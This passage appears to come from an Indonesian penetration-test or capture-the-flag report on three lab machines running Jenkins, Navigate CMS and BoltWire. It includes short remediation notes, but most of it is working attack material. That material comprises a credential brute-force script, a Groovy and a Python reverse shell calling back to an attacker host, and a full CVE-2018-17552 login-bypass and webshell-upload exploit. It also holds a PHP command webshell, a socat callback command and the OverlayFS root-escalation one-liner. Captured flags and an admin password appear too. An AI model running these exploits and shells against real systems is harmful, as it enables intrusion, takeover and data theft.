(ECDSA) |_ 256 89:51:41:88:be:c4:e3:67:02:4e:46:c6:1a:d1:f6:ff (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) | http-robots.txt: 1 disallowed entry |_/ |_http-title: Site doesn't have a title (text/html;charset=utf-8). |_http-server-header: nginx/1.18.0 (Ubuntu) 443/tcp closed https Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 22.00 seconds ``` #### Bruteforcing The Credentials Diperlukan brute untuk mendapatkan credentials dari jenkins berupa *username* dan *password*. Ekseskusi Bruteforce dilakukan dengan script python mengarah pada http://167.205.199.25:80. Script python akan mencoba semua kemungkinan pasangan *credential* mengacu pada daftar *username* yang umum digunakan. Kemudian script akan melihat response dari server jenkins dan mengambil *credential* dengan response 200. **Credentials Source** https://quisitive.com/what-account-names-do-hackers-use-in-brute-force-attacks/ ```python= import argparse import csv import itertools import threading from datetime import datetime import requests from requests.auth import HTTPBasicAuth from tqdm import tqdm ... def try_credential(base_url, user, password, found_event, valid_credentials_list, pbar): if found_event.is_set(): if pbar: # pbar might be None if called directly without a list pbar.update(1) return try: auth = HTTPBasicAuth(user, user) response = requests.get(base_url, auth=auth, timeout=5) if response.status_code == 200: if not found_event.is_set(): valid_credentials_list.append((user, password)) found_event.set() except requests.RequestException as e: with open("failed_credentials.txt", "a", encoding="utf-8") as f: f.write(f"{user}:{password}") finally: if pbar: pbar.update(1) def brute_force_credentials(base_url, user_list, num_threads): # Only try username:username (password == username) credentials_to_try = [(user, user) for user in user_list] if not credentials_to_try: return [] found_event = threading.Event() valid_credentials_list = [] threads = [] pbar = tqdm( total=len(credentials_to_try), desc="Brute-forcing credentials", unit="cred" ) try: for user, password in credentials_to_try: if found_event.is_set(): if pbar.n < pbar.total: pbar.update(pbar.total - pbar.n) break thread = threading.Thread( target=try_credential, args=( base_url, user, password, found_event, valid_credentials_list, pbar, ), ) threads.append(thread) thread.start() if len(threads) >= num_threads: for t in threads: t.join() threads = [] for thread in threads: # Wait for any remaining threads thread.join() finally: pbar.close() return valid_credentials_list ... ``` Setelah melakukan bruteforce pada server jenkins didapatkan credentials yang sesuai yaitu * Username: `itadmin` * Password: `itadmin` #### Spawning Reverse Shell Akses admin panel Jenkins dieksploitasi untuk mengeksekusi kode pada *host server*. Vektor eksekusi yang digunakan adalah fitur *Script Console* di halaman [http://167.205.199.25/script](http://167.205.199.25/script) untuk menjalankan *payload* Groovy guna mendapatkan *reverse shell* interaktif dan *persistent*. ![image](https://hackmd.io/_uploads/HyvF_1OXel.png) Pada mesin *attacker*, *listener* `socat` disiapkan untuk menerima koneksi *reverse shell* dan menyediakan *pseudo-terminal* (PTY) yang interaktif. ```shell $ socat TCP-LISTEN:4445,fork,reuseaddr FILE:`tty`,raw,echo=0 ``` *Payload* dirancang untuk mendapatkan *shell* interaktif dengan menggunakan beberapa utilitas Linux. `mkfifo` digunakan untuk membuat *I/O loop* dua arah, sementara perintah `script` bertugas untuk *spawning* proses `bash` di dalam PTY. Untuk memastikan *persistence*, proses *shell* di-*detach* dari proses Jenkins menggunakan `& disown`. Berikut adalah *script* Groovy final yang dieksekusi pada *console*. ```groovy= // Configuration def ATTACKER_IP = "x.x.x.x" def ATTACKER_PORT = 4445 // mkfifo for a stable I/O loop and 'script' for a PTY def fifo_path = "/tmp/f" def command_to_run = """rm -f ${fifo_path}; mkfifo ${fifo_path}; cat ${fifo_path} | /usr/bin/script -qc '/bin/bash -i' /dev/null 2>&1 | nc ${ATTACKER_IP} ${ATTACKER_PORT} > ${fifo_path}""" // Execute in a detached background process def final_command = ["/bin/bash", "-c", command_to_run + " & disown"] final_command.execute() ``` Eksekusi *script* di atas berhasil membuat koneksi *reverse shell* ke *listener* `socat` dan memberikan kontrol interaktif. #### Privilege Escalation *Privilege escalation* dilakukan dengan mengeksploitasi kerentanan pada implementasi OverlayFS di kernel Ubuntu yaitu [CVE-2023-2640](https://www.cvedetails.com/cve/CVE-2023-2640/) dan [CVE-2023-32629](https://www.cvedetails.com/cve/CVE-2023-32629/). Kerentanan ini memungkinkan seorang *local user* untuk mendapatkan hak akses *root*. **PoC Source:** https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629 *Proof-of-concept* dieksekusi menggunakan *one-liner script* berikut: ```bash! $ unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash")' ``` Mekanisme dari *exploit* tersebut dapat dijabarkan sebagai berikut: 1. **Namespace Isolation** `unshare -rm` dieksekusi untuk membuat *user namespace* baru dimana *user* saat ini di-*mapping* sebagai UID 0 (*root*) dengan *mount namespace* baru. 2. **Setup OverlayFS** Di dalam *namespace* tersebut, *script* membuat direktori yang dibutuhkan untuk OverlayFS (`l`, `u`, `w`, `m`). *Binary* `python3` dari sistem disalin ke direktori `l` yang akan berfungsi sebagai `lowerdir`. 3. **Capability Escalation** `setcap cap_setuid+eip l/python3` digunakan untuk memberikan *capability* `cap_setuid` kepada *binary* `python3`. *Capability* ini mengizinkan sebuah proses untuk mengubah UID. 4. **Trigger Vulnerability** `mount -t overlay` digunakan untuk me-*mount* sebuah sistem file OverlayFS. Kerentanan dapat dipicu dengan membuat file di dalam direktori *mount* (`touch m/*`). Kernel secara keliru menyalin *capability* dari `lowerdir` ke `upperdir`, sehingga `python3` di direktori `u` kini memiliki `cap_setuid` di *host system*. 5. **Execution & Payload** *Binary* `python3` dari direktori `u` dieksekusi. Karena memiliki `cap_setuid`, perintah `os.setuid(0)` berhasil dijalankan, mengubah *user* proses menjadi *root*. 6. **Root Shell** Sebagai *root*, *script* menyalin `/bin/bash` ke `/var/tmp/bash`, memberikannya SUID *bit* (`chmod 4755`), lalu mengeksekusinya dengan flag `-p` untuk mendapatkan *interactive root shell*. Setelah *shell* ditutup, semua artefak yang dibuat akan dihapus. ![image](https://hackmd.io/_uploads/rkoeEAvQeg.png) **ROOT FLAG**: `vm4{P4k_Tu4__J3nk11n5_15_n0t_h3123!?_#_3t54645356}` ## Apache (167.205.199.7) ### Penjelasan Dalam VM target, melalui hasil scan Nmap terpadat port 53 DNS yang terbuka dengan port 80 standar dengan respon halaman permulaan dari instalasi Apache. Eksploitasi pertama dilakukan dengan mengakses server Apache dan menilai kerentanan yang dapat diterapakan dalam sistem. Kegiatan dilanjutkan dengan melakukan identifikasi kerentanan dalam DNS menggunakan perintah `dig` dan `nslookup` untuk mendapatkan akses terhadap DNS yang tersembunyi. Didapatkan beberapa nilai DNS yang terkoneksi dengan servis apache dan layanan CMS yaitu Navigate CMS. Melalui Eksploitasi layanan Navigate CMS, yang memiliki kerentanan berkaitan dengan SQL injection dan menggunakan akses shell melalui web, reverse shell dilakukan untuk mendapatkan akses root melalui eksploitasi siste operasi Ubuntu. ### Affected Program - Entri DNS - Navigate CMS - Ubuntu(22.04) ### Severity - Navigate CMS - Terindikasi kerentanan [CVE-2018-17552](https://nvd.nist.gov/vuln/detail/CVE-2018-17552) - Kerentanan dengan tingkat yang kritis, dimana RCE dapat dilakukan tanpa harus melakukan login melalui aplikasi. Eksploitasi dilakukan dengan melewati sistem login aplikasi dan melakukan SQL injection untuk mendapatkan akses shell VM. - Ubuntu (22.04) - Terindikasi kerentanan [CVE-2023-2640](https://www.cvedetails.com/cve/CVE-2023-2640/) dan [CVE-2023-32629](https://www.cvedetails.com/cve/CVE-2023-32629/) - Kerentanan dengan tingkat kritis, dimana eskalasi hak akses dapat dilakukan melalui akun dengan tingkat akses yang lebih rendah dengan usaha yang cukup. Penyerangan hanya perlu melakukan eksekusi kode singkat berkaitan dengan FS Overlay dan proses copy data file untuk mendapatkan akses bash dari VM. ### Remediation 1. Pembaruan versi sistem operasi Ubuntu dan Navigate CMS 2. Pengamanan entri DNS 3. Menerapkan Response Rate Limiting (RRL) pada server DNS ### Proof-of-Concept #### Nmap Scan ```shell $ nmap -Av -T4 167.205.199.7 Starting Nmap 7.92 ( https://nmap.org ) at 2025-05-31 12:00 WIB NSE: Loaded 155 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 12:00 Completed NSE at 12:00, 0.00s elapsed Initiating NSE at 12:00 Completed NSE at 12:00, 0.00s elapsed Initiating NSE at 12:00 Completed NSE at 12:00, 0.00s elapsed Initiating Ping Scan at 12:00 Scanning 167.205.199.7 [2 ports] Completed Ping Scan at 12:00, 0.02s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 12:00 Completed Parallel DNS resolution of 1 host. at 12:00, 0.01s elapsed Initiating Connect Scan at 12:00 Scanning 167.205.199.7 [1000 ports] Discovered open port 22/tcp on 167.205.199.7 Discovered open port 80/tcp on 167.205.199.7 Discovered open port 53/tcp on 167.205.199.7 Completed Connect Scan at 12:00, 4.51s elapsed (1000 total ports) Initiating Service scan at 12:00 Scanning 3 services on 167.205.199.7 Completed Service scan at 12:00, 6.04s elapsed (3 services on 1 host) NSE: Script scanning 167.205.199.7. Initiating NSE at 12:00 Completed NSE at 12:00, 8.14s elapsed Initiating NSE at 12:00 Completed NSE at 12:00, 0.05s elapsed Initiating NSE at 12:00 Completed NSE at 12:00, 0.00s elapsed Nmap scan report for 167.205.199.7 Host is up (0.015s latency). Not shown: 996 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 25:66:8a:5f:26:b9:4e:38:f3:56:b1:fd:e0:4f:b8:67 (ECDSA) |_ 256 b1:f5:e0:a7:1b:f5:35:d4:7a:9f:20:8b:fb:6d:72:be (ED25519) 53/tcp open domain ISC BIND 9.18.30-0ubuntu0.22.04.2 (Ubuntu Linux) | dns-nsid: |_ bind.version: 9.18.30-0ubuntu0.22.04.2-Ubuntu 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works | http-methods: |_ Supported Methods: GET POST OPTIONS HEAD |_http-server-header: Apache/2.4.52 (Ubuntu) 443/tcp closed https Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel NSE: Script Post-scanning. Initiating NSE at 12:00 Completed NSE at 12:00, 0.00s elapsed Initiating NSE at 12:00 Completed NSE at 12:00, 0.00s elapsed Initiating NSE at 12:00 Completed NSE at 12:00, 0.00s elapsed Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.21 seconds ``` #### Tampilan Utama Web #### Enumerasi dan Reverse DNS Mencoba eksplorasi dari DNS VM target dengan menggunakan perintah `dig` kepada VM target melalui perintah `dig -x @167.205.199.7` : ```shell ; <<>> DiG 9.18.36 <<>> -x @167.205.199.7 ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 58171 ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 65494 ;; QUESTION SECTION: ;7.199.205.\@167.in-addr.arpa. IN PTR ;; AUTHORITY SECTION: in-addr.arpa. 3497 IN SOA b.in-addr-servers.arpa. nstld.iana.org. 2025052845 1800 900 604800 3600 ;; Query time: 0 msec ;; SERVER: 127.0.0.53#53(127.0.0.53) (UDP) ;; WHEN: Thu Jun 12 11:47:37 WIB 2025 ;; MSG SIZE rcvd: 124 ``` Tidak ditemukan DNS (`NXDOMAIN`) yang terkait dengan VM. Enumerasi diteruskan dengan melihat DNS pada localhost atau alamat ip 127.0.0.1 menggunakan perintah `dig @167.205.199.7 -x 127.0.0.1` : ```shell ; <<>> DiG 9.18.36 <<>> @167.205.199.7 -x 127.0.0.1 ; (1 server found) ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 56111 ;; flags: qr aa rd; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 1 ;; WARNING: recursion requested but not available ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 1232 ; COOKIE: 6fe233cf3836705b01000000684a5aa4b459a7bd9dc4d5a3 (good) ;; QUESTION SECTION: ;1.0.0.127.in-addr.arpa. IN PTR ;; ANSWER SECTION: 1.0.0.127.in-addr.arpa. 604800 IN PTR mew.id. 1.0.0.127.in-addr.arpa. 604800 IN PTR miaw.id. 1.0.0.127.in-addr.arpa. 604800 IN PTR www.mew.id. 1.0.0.127.in-addr.arpa. 604800 IN PTR www.miaw.id. 1.0.0.127.in-addr.arpa. 604800 IN PTR localhost. ;; Query time: 26 msec ;; SERVER: 167.205.199.7#53(167.205.199.7) (UDP) ;; WHEN: Thu Jun 12 11:42:12 WIB 2025 ;; MSG SIZE rcvd: 177 ``` Dari hasil reverse DNS, ditemukan beberapa nama DNS yang berkaitan dengan VM target meliputi : - mew.id - miaw.id - www.mew.id - www.miaw.id - localhost Alamat DNS tidak dapat diakses secara langsung dalam browser dan perlu ditambahkan dalam file host untuk dapat mengakses website tersebut. Dalam file host PC yang digunakan, ditambahkan data baru : ``` 167.205.199.7 miaw.id www.miaw.id mew.id www.mew.id ``` #### Tampilan Web miaw.id dan mew.id Alamat miaw.id menampilkan halaman apache utama, sehingga kurang dapat dieksploitasi lebih lanjut. ![Tampilan miaw.id](https://hackmd.io/_uploads/HkaHby_7eg.png) Alamat mew.id menampilkan halaman web sederhana dan berpotensi untuk dapat dieksploitasi kedepannya. ![Tampilan mew.id](https://hackmd.io/_uploads/HJY7z1uQee.png) #### Hasil Scan Direktori mew.id Dengan menggunakan tools `gobuster` yang menggunakan wordlist `directory-list-lowercase-2.3-big.txt` didapatkan beberapa lokasi url dari mew.id yang dapat dieksploitasi : ```shell =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://mew.id [+] Method: GET [+] Threads: 50 [+] Wordlist: src/word_list/directory-list-lowercase-2.3-big.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /stats  (Status: 301) [Size: 300] [--> http://mew.id/stats/] Progress: 3006 / 1185255 (0.25%)[ERROR] Get "http://mew.id/cgi-bin": context deadline exceeded (Client.Timeout exceeded while awaiting headers) [ERROR] Get "http://mew.id/en": context deadline exceeded (Client.Timeout exceeded while awaiting headers) [ERROR] Get "http://mew.id/content": context deadline exceeded (Client.Timeout exceeded while awaiting headers) [ERROR] Get "http://mew.id/4": context deadline exceeded (Client.Timeout exceeded while awaiting headers) [ERROR] Get "http://mew.id/14": context deadline exceeded (Client.Timeout exceeded while awaiting headers) [ERROR] Get "http://mew.id/main": context deadline exceeded (Client.Timeout exceeded while awaiting headers) [ERROR] Get "http://mew.id/15": context deadline exceeded (Client.Timeout exceeded while awaiting headers) [ERROR] Get "http://mew.id/press": context deadline exceeded (Client.Timeout exceeded while awaiting headers) [ERROR] Get "http://mew.id/media": context deadline exceeded (Client.Timeout exceeded while awaiting headers) [ERROR] Get "http://mew.id/resources": context deadline exceeded (Client.Timeout exceeded while awaiting headers) [ERROR] Get "http://mew.id/16": context deadline exceeded (Client.Timeout exceeded while awaiting headers) [ERROR] Get "http://mew.id/profile": context deadline exceeded (Client.Timeout exceeded while awaiting headers) /navigate  (Status: 301) [Size: 303] [--> http://mew.id/navigate/] /server-status  (Status: 403) [Size: 271] Progress: 1185254 / 1185255 (100.00%) =============================================================== Finished =============================================================== ``` Beberapa lokasi yang ditemukan meliputi: - /stats - /server-status - /navigate `/stat` menunjukkan direktori internal aplikasi web dan `/server-status` tidak dapat diakses secara langsung. `/navigate` mengarahkan browser ke halaman aplikasi CMS Navigate yang digunakan dalam VM. Aplikasi CMS dijadikan target eksploitasi untuk mengakses terminal dari VM. ![Navigate CMS](https://hackmd.io/_uploads/rkEwB1OXxx.png) #### Eksploitasi CVE-2018-17552 Berdasarkan sumber [CVE-2018-17552](https://nvd.nist.gov/vuln/detail/CVE-2018-17552), menjelaskan mengenai kerentanan dari Aplikasi Navigate CMS versi 2.8 terkait dengan serangan SQL Injection yang dapat melewati mekanisme login dari aplikasi melalui navigate-user cookie. Dari [Source Code](https://github.com/kimstars/CVE-2018-17552) yang disesuaikan, Web shell dapat diakses melalui kode program pyhton sebagai berikut: ```python= import requests import os def get_session_id(url): headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 12.2; rv:97.0) Gecko/20100101 Firefox/97.0', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':r'navigate-user=\" OR TRUE--%20' } print("[+] Get Session ") response = requests.post(f'http://{url}/navigate/login.php', headers=headers) print(response.status_code) cookies = response.headers.get('Set-Cookie') print("cookies --->",cookies) if cookies: session_id = [c.split('=')[1].split(';')[0] for c in cookies.split() if c.startswith('NVSID_')][0] return session_id return None def upload_exploit(url, session_id): payload = '<?php system($_GET[\'cmd\']);?>' payload = """ <html> <body> <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> <input type="TEXT" name="cmd" id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> <?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?> </pre> </body> <script>document.getElementById("cmd").focus();</script> </html> """ file_name = 'imagen.jpg' with open(file_name, 'w') as file: file.write(payload) files = { 'file': (file_name, open(file_name, 'rb')), } data = { 'name': file_name, 'session_id': session_id, 'engine': 'picnik', 'id': '../../../navigate_info.php', } response = requests.post(f'http://{url}/navigate/navigate_upload.php', files=files, data=data) # os.remove(file_name) return response def get_webshell(url): while True: cmd = input('webshell$ ') if cmd == 'exit': print('\n[+] Bye bye...') break response = requests.get(f'http://{url}/navigate/navigate_info.php', params={'cmd': cmd}) print(response.text) if __name__ == "__main__": target_url = "mew.id" session = get_session_id(target_url) if session: print(f"\n URL: http://{target_url}/") print(f"\n Sesion: {session}") print("\n Exploit...") upload_result = upload_exploit(target_url, session) print(upload_result.text) print("\n Webshell...") get_webshell(target_url) else: print("\nError ...") ``` Hasil eksekusi program menampilkan akses terminal webshell ```shell [+] Get Session 200 cookies ---> NVSID_4efd2f76=2dvu7f7sm5ejs2ae4928mo7m1r; expires=Thu, 12-Jun-2025 07:28:36 GMT; Max-Age=3600; path=/; domain=mew.id, NVSID_4efd2f76=2dvu7f7sm5ejs2ae4928mo7m1r; expires=Thu, 12-Jun-2025 07:28:36 GMT; Max-Age=3600; path=/; domain=mew.id, PHPSESSID=2dvu7f7sm5ejs2ae4928mo7m1r; expires=Thu, 12-Jun-2025 07:28:36 GMT; Max-Age=3600; path=/; domain=mew.id, navigate-language=en; expires=Sat, 12-Jul-2025 06:28:36 GMT; Max-Age=2592000 URL: http://mew.id/ Sesion: 2dvu7f7sm5ejs2ae4928mo7m1r Exploit... Webshell... webshell$ id <html> <body> <form method="GET" name="navigate_info.php"> <input type="TEXT" name="cmd" id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> uid=33(www-data) gid=33(www-data) groups=33(www-data) </pre> </body> <script>document.getElementById("cmd").focus();</script> </html> webshell$ ``` #### Reverse Shell Target VM Untuk melakukan reverse shell target VM dilakukan dengan cara: 1. Persiapan Listener dalam PC untuk mengakses shell target VM menggunakan perintah `nc -nlvp <PORT_Listener>` 2. Eksekusi perintah python pada webshell target ```shell! $ python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP_Listener>",<PORT_Listener>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' ``` Didapatkan akses shell sebagai berikut: ![image](https://hackmd.io/_uploads/H1lCTguXxx.png) #### Privilege Escalation Untuk mendapatkan akses root, diketahui bahwa target VM menggunakan OS Ubuntu 22.04 (Jammy) yang memiliki kerentanan dalam fungsi FS Overlay untuk mengakses root yang dijelaskan dalam [CVE-2023-2640](https://www.cvedetails.com/cve/CVE-2023-2640/) dan [CVE-2023-32629](https://www.cvedetails.com/cve/CVE-2023-32629/). Berdasarkan [Source Code](https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629/blob/main/exploit.sh), kode hanya perlu dieksekusi untuk mendapatkan hak akses dari root : ```shell! $ unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash")' ``` Hasil eksekusi kode menghasilkan akses root untuk VM: ![image](https://hackmd.io/_uploads/rJU76x_mel.png) ![image](https://hackmd.io/_uploads/SJcX1wdQeg.png) Isi dari local_flag.txt ``` FsmJ28#ioCd8ZdV4BO*2Hkw^lCrwN# ``` ![image](https://hackmd.io/_uploads/HJfKxwOmxg.png) Isi dari root_flag.txt ``` m7jX$3rR1*cKhTzfP^1Wum%cK84irU ``` ## BoltWire (167.205.198.59) ### Penjelasan Scanning menggunakan *nmap* dan *directory enumeration* dengan *gobuster* menunjukkan bahwa pada direktori `/dev` terdapat aplikasi Boltwire. Boltwire adalah sebuah *Content Management System (CMS)* yang ringan dan tidak memerlukan database (*flat-file*), yang dirancang untuk memudahkan pembuatan dan pengelolaan konten website. Boltwire memiliki mekanisme *user management* yang pada versi tertentu memiliki kerentanan *Information Disclosure* (CVE-2023-46501). Jika tidak diproteksi dengan benar, halaman data pengguna dapat diakses secara publik. Kerentanan ini memungkinkan penyerang untuk membaca data sensitif, termasuk *password* milik admin, yang kemudian dapat digunakan untuk mengambil alih aplikasi dan membuka vektor serangan lain seperti *Remote Code Execution (RCE)*. ### Affected Program - Boltwire - Linux Kernel ### Severity - Boltwire - Terindikasi kerentanan CVE-2023-46501 (Tinggi) - Penyerang dapat mengakses resource data pengguna hingga admin di dalam aplikasi, memungkinkan penyerang untuk mengakses password admin dan mengakses fitur keseluruhan aplikasi. Berpotensi sebagai perantara dalam serangan yang lebih berbahaya seperti RCE. - OS Server Linux Ubuntu - Terindikasi kerentanan [CVE-2023-2640](https://www.cvedetails.com/cve/CVE-2023-2640/) dan [CVE-2023-32629](https://www.cvedetails.com/cve/CVE-2023-32629/) - Penyerangan dapat memanfaatkan kerentanan dalam sistem OverlayFS dalam Ubuntu, dimana sistem melewatkan beberapa pemeriksaan hak akses untuk file, sehingga penyerangan dapat memanipulasi file untuk "tampak" pada hak akses . ### Remediation - Boltwire - Kerentanan mempengaruhi sistem Boltwire untuk versi 6.03 [(Sumber)](https://nvd.nist.gov/vuln/detail/CVE-2023-46501) dan memiliki kemungkinan untuk terjadi pada versi yang lebih awal. Perbaikan dilakukan dengan melakukan update versi terbaru (8.0.0). - OS Ubuntu - Melalui [dokumentasi](https://ubuntu.com/security/CVE-2023-2640) resmi ubuntu, langkah mitigasi yang perlu dilakukan adalah dengan melakukan update untuk sistem atau mematikan fitur pembuatan namespaces untuk pengguna tanpa hak akses. ### Proof-of-Concept #### Nmap Scan ```shell $ nmap -A -T4 167.205.198.59 Starting Nmap 7.92 ( https://nmap.org ) at 2025-06-01 21:05 WIB Nmap scan report for 167.205.198.59 Host is up (0.018s latency). Not shown: 997 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 93:af:54:6e:18:f9:21:d6:06:90:39:61:33:ea:ea:8a (ECDSA) |_ 256 73:73:4b:8d:ce:2a:1d:ff:60:fd:6a:dc:7e:4c:86:d0 (ED25519) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) |_http-title: Welcome to MEW.ID |_http-server-header: Apache/2.4.52 (Ubuntu) 443/tcp closed https Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.15 seconds ``` #### Gaining BoltWire Admin Privileges via [CVE-2023-46501](https://nvd.nist.gov/vuln/detail/CVE-2023-46501) Akses terhadap Bolt didapatkan melalui, scanning directory yang ada pada server menggunakan gobuster dengane menggunakan wordlist (`directory-list-2.3-medium.txt`), dengan hasil scan : ``` =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://167.205.198.59 [+] Method: GET [+] Threads: 50 [+] Wordlist: src/word_list/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== [/dev (Status: 301) [Size: 314] [--> http://167.205.198.59/dev/] [/server-status (Status: 403) [Size: 279] [Progress: 220559 / 220560 (100.00%) =============================================================== Finished =============================================================== ``` Terdapat direktori `/dev` yang dapat diakses, yang merupakan akses untuk platform Boltwire. Dengan mengikuti langkah ekploitasi platform Boltwire melalui laporan eksploitasi [GitHub](https://github.com/psmiraglia/ctf/blob/master/kevgir/002-jenkins.md), beberapa langkah yang dilakukan untuk mendapatkan password admin dari platform Boltwire : - Akses Halaman Registrasi (Register) dan Mendaftar sebagai user atau member biasa - Mengakses halaman `/dev/index.php?p=member.admin&action=data`. Dalam penerapannya password dari seluruh pengguna dapat dilihat dan diakses mengganti parameter `"member.<username\>"` - Password untuk user admin ditampilkan dalam halaman: `y1jsVk&wfBR1` ![image](https://hackmd.io/_uploads/Bk2O-EwGle.png) #### RCE Stage Setelah akses admin didapatkan untuk aplikasi boltwire, upload file dapat dilakukan melalui fasilitas upload file melalui panel admin. Untuk melakukan RCE dan eksploitasi lebih lanjut, dibuat file bernama **admin.php** yang diupload dan digunakan sebagai perantara untuk melakukan eksekusi command bash melalui browser. Kode php yang digunakan dalam **admin.php** : ```php= <?php if(isset($_REQUEST['cmd'])) { echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } ?> ``` Akses eksekusi perintah shell dapat dijalankan melalui query URL http://167.205.198.59/dev/files/member/admin.php?cmd="nama_cmd_encoded" ![image](https://hackmd.io/_uploads/ryO8VX4zgx.png) #### Getting Reverse Shell Interactive reverse shell dibuat menggunakan `socat` pada mesin client yang memiliki IP publik. ```shell $ socat TCP-LISTEN:4444,fork,reuseaddr FILE:`tty`,raw,echo=0 ``` Command yang akan dieksekusi pada mesin target adalah sebagai berikut: ```shell $ /usr/bin/socat TCP:${LISTENER_IP}:4444 EXEC:'/bin/bash -li',pty,stderr,sigint,setsid,sane & disown ``` yang dimana `LISTENER_IP` adalah IP dari mesin yang digunakan sebagai client untuk berinteraksi dengan shell target. Command tersebut kemudian di-encode dan dikirimkan sebagai request parameter agar dieksekusi oleh target dan di-detach dari process parentnya dan terus berjalan di-background menggunakan `&` dan `disown`. ```shell $ LISTENER_IP=x.x.x.x curl "http://167.205.198.59/dev/files/member/admin.php?cmd=/usr/bin/socat%20TCP:${LISTENER_IP}:4444%20EXEC:%27/bin/bash%20-li%27,pty,stderr,sigint,setsid,sane%20&%20disown" ``` Setelah request dikirim, interactive shell dapat digunakan selama process-nya masih berjalan dan koneksi tidak terputus. ![image](https://hackmd.io/_uploads/SkVSZ5lfxg.png) #### Privilege Escalation *Privilege escalation* dilakukan dengan mengeksploitasi kerentanan pada implementasi OverlayFS di kernel Ubuntu yaitu [CVE-2023-2640](https://www.cvedetails.com/cve/CVE-2023-2640/) dan [CVE-2023-32629](https://www.cvedetails.com/cve/CVE-2023-32629/). Kerentanan ini memungkinkan seorang *local user* untuk mendapatkan hak akses *root*. **PoC Source:** https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629 *Proof-of-concept* dieksekusi menggunakan *one-liner script* berikut: ```bash! $ unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash")' ``` Mekanisme dari *exploit* tersebut dapat dijabarkan sebagai berikut: 1. **Namespace Isolation** Perintah `unshare -rm` dieksekusi untuk membuat *user namespace* baru dimana *user* saat ini dipetakan sebagai UID 0 (*root*) dan *mount namespace* baru yang terisolasi. 2. **Setup OverlayFS** Di dalam *namespace* tersebut, *script* membuat direktori yang dibutuhkan untuk OverlayFS (`l`, `u`, `w`, `m`). *Binary* `python3` dari sistem disalin ke direktori `l` yang akan berfungsi sebagai `lowerdir`. 3. **Capability Escalation** `setcap cap_setuid+eip l/python3` digunakan untuk memberikan *capability* `cap_setuid` kepada *binary* `python3`. *Capability* ini mengizinkan sebuah proses untuk mengubah UID. 4. **Trigger Vulnerability** `mount -t overlay` digunakan untuk me-mount sebuah sistem file OverlayFS. Dengan menyentuh file di dalam direktori *mount* (`touch m/*`), kerentanan terpicu. Kernel secara keliru menyalin *capability* dari `lowerdir` ke `upperdir`, sehingga `python3` di direktori `u` kini memiliki `cap_setuid` yang efektif di *host system*. 5. **Execution & Payload** *Binary* `python3` dari direktori `u` dieksekusi. Karena memiliki `cap_setuid`, perintah `os.setuid(0)` berhasil dijalankan, mengubah *user* 